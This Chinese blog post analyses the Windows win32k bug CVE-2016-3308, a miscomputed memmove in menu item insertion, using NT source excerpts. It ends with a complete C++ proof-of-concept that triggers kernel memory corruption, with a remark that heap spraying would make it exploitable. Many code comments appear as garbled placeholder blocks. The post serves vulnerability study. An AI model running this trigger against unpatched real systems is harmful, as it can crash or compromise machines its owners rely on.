a case of cve study 00: cve-2016-3308

wjllz是人间大笨蛋 / 2019-03-28 09:01:00 / 浏览数 8767 安全技术 漏洞分析

前言

Hi, 这是a case of cve study 的第一部分. 做这个系列的起因源于自己想搭建一个win32k的fuzzer. 于是我阅读了mwrlab的这篇博客(what the fuzz).
了解了一个fuzzer大概应该长什么样子. 之后, 又在github上面看到了n3k师傅针对NDIS的fuzzer, 我阅读了相关的源码,
结合我前几天代码审计写的那些失败了的POC, 思考着自己的fuzzer的大体框架应该长什么样子, 于是写出了自己的第一个丑陋的fuzzer.

但是听起来不错, 可是win32k的fuzzer比单纯的IOCTL的fuzzer似乎要更麻烦一些. 在win32k当中, 为了触发漏洞, A和B是有关系的, C和B又有关系.
与其说是去写一个针对传送畸形数据的fuzzer,去写一个针对畸形的关系的fuzzer好像会更有效果一些.

思路到这里之后就断了, 怎么去生成一个畸形的关系的fuzzer. 以前看过泉哥的一篇文章. 说是一个fuzzer最好能够触发一个老的漏洞. 印象深刻.
所以开始调试一些老的漏洞, 希望能够抽象出一个模型来.

这篇文章相应的样例代码我把它放到了我的github上面. 文章的所牵涉的条件为windows 7 x86 sp1■■.

cve-2016-3308概览.

cve-2016-3308的漏洞代码存在于win32k!xxxInsertMenuItem函数当中. 该函数当中调用了两次MNLookUPMenuItem 函数,
MNLookUPMenuItem函数用于获取菜单的某个子项的具体内容的指针. 在第二次调用该函数的时候. 该函数采用的是递归查找. 通过特殊的构造,
我们获取的指针其实指向的是子项的子项. 后面进行copy操作的时候, 误认为是子项的位置. 导致内存破坏.(这一部分的疑惑请暂时保存.
阅读完后面的内容之后再来看这个绕口的地方).

```
// [+] xxxInsertMenuItem
if (wIndex != MFMWFP_NOITEM)
       pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);   // [+] ■■■■■MNLookUpItem

}
pMenu->cItems++;    // [+] ■■■■■■

if (pItem != NULL) {
   // Move this item up to make room for the one we want to insert.
   memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));   // pItem■■■■,
```

cve-2016-3308 -- MNLookUPMenuItem函数

我们先来看MNLookUPMenuItem函数. 该函数的原型如下.

```
PITEM MNLookUpItem(
   PMENU pMenu,    // [+] ■■■■■■■■
   UINT wCmd,      // [+] ID(0) ■ index(1)
   BOOL fByPosition,   // [+] ■■■FALSE, ■index■■■■■■
   PMENU *ppMenuItemIsOn)  // [+] ■■■■■■■■■■■■
```

此时你可以鼠标右键随机点出一个菜单. 你会发现有很多项. 菜单子项里面又嵌套菜单子项, 每一个子项在内存当中以tagITEM的形式存储相关的信息.
该函数就是为了返回该子项在内存当中的位置.

- pMenu: 该参数指向我们需要查找的菜单对象. 菜单对象在win32k当中以tagMENU的形式组织.
- wCmd: 根据后面的fByPosition来决定.
  [+] 如果fByPosition为TRUE, 说明我们是通过排序顺序的形式查找. 比如我们上面的截图. 查看为第1项, 排序方式为第二项, 刷新为第三项.
  此时的wCmd对应的就是第几项的意思.
  [+] 如果fByPosition为FALSE. 说明我们是按标识符来查找. 我们知道. 进程有PID可以来标识不同的进程. 菜单子项也有类似的观点.
  我们可以给不同的菜单子项不同的wID. 来区分不同的菜单子项.
- fByPosition: 见第二个参数
- ppMenuItemIsOn: 用于存储我们是在哪个菜单当中找到的. 该函数的算法是递归算法. 所以我们有可能是在子项当中进行查找.

接着, 让我们来看相应的算法:

```
if (fByPosition)
{
   if (wCmd < (UINT)pMenu->cItems)
   {
       pItemRet = &((PITEM)REBASEALWAYS(pMenu, rgItems))[wCmd];
       if (ppMenuItemIsOn != NULL)
           *ppMenuItemIsOn = pMenu;
```

```
        return (pItemRet);
    } else
        return NULL;
}
```

此时我们fByPosition的值为TRUE. 我们使用排序顺序的方式查找. tagMenu->rgItem成员变量指向菜单子项数组的第一项. 所以直接取下标即可获取.
类似于你要找a[] = {1, 2, 3, 4, 5}的第n项. 你只要return a[n]即可.

接着我们fByPosition为FALSE. 我们使用wID来进行查找.

```
for (i = 0, pItem = REBASEALWAYS(pMenu, rgItems); i < (int)pMenu->cItems;
        i++, pItem++)
{
    if (pItem->spSubMenu != NULL)
    {
        if (pItem->wID == wCmd)     // [+] ID■■
        {
            pMenuMaybe = pMenu;
            pItemMaybe = pItem;
        }

        pItemRet = MNLookUpItem((PMENU)REBASEPTR(pMenu, pItem->spSubMenu),
                wCmd, FALSE, ppMenuItemIsOn);   // [+] ■■■■■■■■■■ ■■■■■■■■■■■■
        if (pItemRet != NULL)
            return pItemRet;
    }
    else if (pItem->wID == wCmd)    // [+] ■■■■■■ ■■■ID■■■
    {
            if (ppMenuItemIsOn != NULL)
                *ppMenuItemIsOn = pMenu;
            return pItem;
    }
}
```

该算法的思路是, 搜先判断当前菜单是否有子菜单. 如果有. 则进行递归查找. 否则直接判断当前子菜单是否符合要求.

cve-2016-3308 -- xxxInsertMenuItem函数

先来看函数原型:

```
BOOL xxxInsertMenuItem■■(   // [+] ■■■■■■■■■■■
    PMENU pMenu,        // [+] pMenu ■■■■■■■■Menu■■■■■■
    UINT wIndex,        // [+] ■■■■■■■■■■■■■■■
    BOOL fByPosition,   // [+] ■■■■Index■■■■■ID
    LPMENUITEMINFOW lpmii,  // [+] ■■■■■■■■
    PUNICODE_STRING pstrItem)   // [+] ■■■■■.
```

该函数对应的是Windows API的InsertMenuItemA 函数. psrtItem参数我并没有进行逆向, 但是猜测到应该是每个菜单子项的文字内容.
该函数的主要目的可以参见微软的文档:

```
Inserts a new menu item at the specified position in a menu.
```

采用我二把刀的英文翻译就是为了向指定的菜单的某个具体位置插入一个新的菜单子项. 由于1, 2, 3参数和MNLookUPMenuItem函数类似,
在这里就不再做详细的解释. 让我们来看第四个参数.

- lpmii: 该参数是一个LPMENUITEMINFOW指针. 官方文档上面有关于此结构体的详细解释. 该信息包含你要新插入子项的具体信息(包括wID等).
  最后在内存当中以tagITEM的形式存在.

接着我们来看相应的算法. 看算法之前让我们自己模拟一下如果是我们来实现该算法我们会这么实现. 我们把该任务抽象一下. 简化如下:

```
[+] ■■■■■■■DWORD a[6] = {1, 2, 3, 4, 5, 6}. ■■■■■■■3■■■■■■9.
```

不考虑bug不考虑编译错误的情况下我们能快速写出一个算法:

```
DWORD * ptr = &a[3]; // [+] ■■■■■■■■■
memcpy(ptr+1, ptr, (6-3) * sizeof(DWORD) ) // ■■■■■■■■■. ■■■■■■■■. a■■■■■■■. a[] = {1, 2, 3, 3, 4, 5, 6};
a[3] = 9; // [+] ■■■■■■■.
```

这个虽然是一个bug多多的算法. 但是确实是最简单的实现模型. 微软的实现也基本上是这种思路. 只是把a[]换成了菜单子项的数组. 以及加了很多的检查.

我们先来看第一步:

```
// ■■DWORD * ptr = &a[3]; // [+] ■■■■■■■■
if (wIndex != MFMWFP_NOITEM)
{
   pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);   // ■■wIndex■■■■■
   [...]
}
```

首先第一次调用MNLookUpItem找到相应的位置.

接着我们再来看我们的第二步:

```
// ■■memcpy(ptr+1, ptr, (6-3) * sizeof(DWORD) ) // ■■■■■■■■. ■■■■■■■■. a■■■■■■■. a[] = {1, 2, 3, 3, 4, 5, 6};

if (pItem != NULL) {
       // Move this item up to make room for the one we want to insert.
       memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));   // pItem■■
```

这个地方进行了挪菜单子项的操作.

接着调用xxxSetLPITEMInfo函数执行第三步操作.

```
xxxSetLPITEMInfo(pMenu, pItem, lpmii, pstrItem)
```

听起来不错. 问题出在哪里呢?

首先我们来看tagMENU结构体.

cItems一共是该菜单有多少个子项. cAlloced是分配了多少个菜单子项的内存. 举个例子. 某个菜单一共有3个菜单项. 我们给他分配了8个菜单项的内内存.
当进行第四个菜单项的操作的时候. 我们把他插入分配的内存当中即可了. 但是特殊的情况是. 如果此时已经有8个菜单项. 需要插入第九个的时候.
cAlloc分配的内存就不够第九个了. 所以我们需要进行重新的分配(cAlloc的分配是n*8的形式. 这一部分我是不断改变分配的项数, 然后调试验证).
于是在第二步和第三步之间, 先增加了一个操作.

我们来看第2.5步:

```
if (pMenu->cItems >= pMenu->cAlloced)  // [+] a. cItem■■■■■■■ b. cAlloced■■■■■■■■■■
{                                       // [+] ■■■■■■■■■■■■ ■■■■■■■■■■
   if (pMenu->rgItems)     // [+] ■■pMenu->rgItems■■■■
   {
       pNewItems = (PITEM)DesktopAlloc(pMenu->head.rpdesk->hheapDesktop,   // [+] ■■■■■■■■■■ ■■■■■■■■■■
               (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM));
       if (pNewItems)
       {
           RtlCopyMemory(pNewItems, pMenu->rgItems,
                   pMenu->cAlloced * sizeof(ITEM));    // [+] ■■■■■■■■■
           DesktopFree(pMenu->head.rpdesk->hheapDesktop, pMenu->rgItems);  // [+] ■■■■■■
       }
   }

    if (pNewItems == NULL)
       return(FALSE);

   pMenu->cAlloced += CMENUITEMALLOC;  // [+] ■■■■■■
   pMenu->rgItems = pNewItems; // [+] ■■■■
```

当cItems >= cAlloc的时候. 会重新分配内存. 释放原有的旧的内存. 并且让tagMneu->rgItem指向新的内存块. 我们原来第一步找到的是指向旧的内存的.
所以我们需要重新找过.

```
if (wIndex != MFMWFP_NOITEM)
       pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);   // [+] ■■■■■MNLookUpMenu.
```

接着再进行赋值操作. 我们重新来看赋值操作. 赋值操作的实现里面有一个有意思的点. 注意看第三个参数. 他是通过地址来计算的需要挪的位置.

```
memmove(pItem + 1, pItem, (pMenu->cItems - 1) * sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));   // pItem■■■■, ■■
```

这里问题就出现了. 我们说过. MNLookUpItem函数进行的是递归查找. 如果我们返回的pItem是子项的子项的内容. 此时pMenu->rgItems指向的值子项的内存块.
这个地方的计算就会找出严重的失误. 举个例子:

■■■■■■■■■■■■:

```
   Menu:
       MenuChild-1
           MenuChild-1-0
           MenuChild-1-1
```

```
            MunuChild-1-2
        MunuChild-2
        MenuChild-3
```

MenuChild- 这个数组假设存放于0x1000处. MenuChild-1-存放于存放于0x4000处. 这两个数组通过地址来计算显然是错误的.

第一个问题是:

- 第一次MNLookUpItem的时候为什么没有出错

我们可以看到源码:

```
pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);  // [+] ■■■■■■■wIndex == -1. ■■■■■■■■■■■■■■■ -1 ??? ■■■■

   if (pItem != NULL)
       pMenu = pMenuItemIsOn;  // [+] ■■■■■■■■■■■... ■■■■■■■■■ ■■■■■■■■
```

如果找到了的话. 会进行替换. 而我们查看第二次的源码. 是没有替换的操作的.

第二个问题是. 我们如何取触发第二次MNLookUpItem函数. 我逆向了相应的源码. 得出的条件如下.

触发条件

第一个条件: wIndex为子菜单第一项的wID. 这样的话后续有一个操作. fByPosition为TRUE.

```
wSave = w = wIndex;

   if (pItem && !fByPosition)
       w = ((PBYTE)pItem - (PBYTE)(pMenu->rgItems)) / sizeof(ITEM);    // [+] ■■■■■■■
```

此时由于我们找到的第一项. 所以算出wID为0. 接着进入下面的代码流:

```
if (!w) // [+] ■■■■■■■■■■■■■
   {
       pItemWalk = pMenu->rgItems; // [+] ■■■■■■■■■■
       if ((pItemWalk->hbmp == (HBITMAP)MENUHBM_SYSTEM))
           wIndex = 1; // [+] ■■■■1
```

这个地方我们通过设置pItemWalks的hbmp为MENUHBM_SYSTEM(IDA里面显示为常数1). wIndex会变为1. 接着我们给子菜单安排8个菜单项.
进行插入第九项的时候会进入到我们先前说的重新分配的逻辑.

```
if (wIndex != MFMWFP_NOITEM)
           pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);   // [+] ■■■■■■■■■■■■■■■■■■■
```

由于此时wIndex = 1. 我们只要安排子菜单的子菜单当中的某一项的wID为1即可.

poc

POC可以在这里找到. 你可能需要运行多次才能触发. 因为可能损坏的可能不是重要的内存. 利用的话控制堆喷即可.

```
/*
* [+] cve-2016-3308:
* [+] It just a poc.
* [+] Test version: windows 7 x86
* [+] It should work, BUt you need to to execute it more once(maybe)
* [+] By wjllz
*/
#include <iostream>
#include <Windows.h>

typedef struct _UNICODE_STRING {
   USHORT Length;
   USHORT MaximumLength;
   PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

HMENU hMenu = NULL;
_declspec(naked) BOOL NtUserThunkedMenuItemInfo(
   IN HMENU hMenu,
   IN UINT nPosition,
   IN BOOL fByPosition,
```

```
    IN BOOL fInsert,
    IN LPMENUITEMINFOW lpmii OPTIONAL,
    IN PUNICODE_STRING pstrItem OPTIONAL,
    IN BOOL fAnsi)
{
    __asm
    {
        mov     eax, 1256h
        mov     edx, 7ffe0300h
        call    dword ptr[edx]
        ret     18h
    }
}

int main()
{
    HMENU hMenu = CreateMenu();
    HMENU hmenuPopup = CreateMenu();
    MENUITEMINFO mii = {};

    for (int i = 0; i < 0xF; i++)
    {
        mii.cbSize = sizeof(MENUITEMINFO);
        mii.fMask = MIIM_ID | MIIM_DATA | MIIM_SUBMENU | MIIM_BITMAP;
        mii.wID = (i == 6 ? 1 : 0x100 + i) ;
        mii.hSubMenu =(i == 0xE ? hmenuPopup : NULL);
        mii.hbmpItem = (i==7 ? (HBITMAP)1:NULL);
        InsertMenuItem(i < 7 ? hmenuPopup : hMenu, i < 7 ? i : i - 7, TRUE, &mii);
    }

    try
    {
        // [+] trigger
        NtUserThunkedMenuItemInfo(hMenu, 0x107, FALSE, TRUE, (LPMENUITEMINFOW)&mii, NULL, 0);
    }
    catch (const char* msg)
    {
    std::cerr << msg << std::endl;
    }
    return 0;
}
```

最后的总结

这是一个老的洞. 相应的分析已经有前人做过了. 但是前段时间受到泉哥文章的影响比较大. 所以尝试着阅读源码自己去挖掘这个漏洞. 最后死在了wId == 1的那步. 另外一个使我觉得有趣的点是. 我文章的分析是采用的Nt的老源码. 但是这个洞是16年才发现的. 也就是说起码藏了16年. 为什么能藏这么久呢. 以及, 为什么我在审计的时候, 最后会卡在这一部分. 漏洞发现者能够审计出来呢. 最后一个问题. 我怎么能够通过自己的`fuzzer`去触发这个漏洞呢？

这些是一些我目前比较在意的问题. 也希望在以后能找到答案.

相关链接

- 55-AA-CVE-2016-3308
- An Analysis of MS16-098 / ZDI-16-453
  AUGUST 25, 2016 BY STEINER
- case study write
- From CVE-2017-0263 to the Menu Management Component

Big thanks to leeqwind, 泉哥, n3k.

最后, wjllz是人间大笨蛋.

上一篇：某最新版cms审计之前台到gets... 下一篇：对字节反转攻击的深入研究

1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板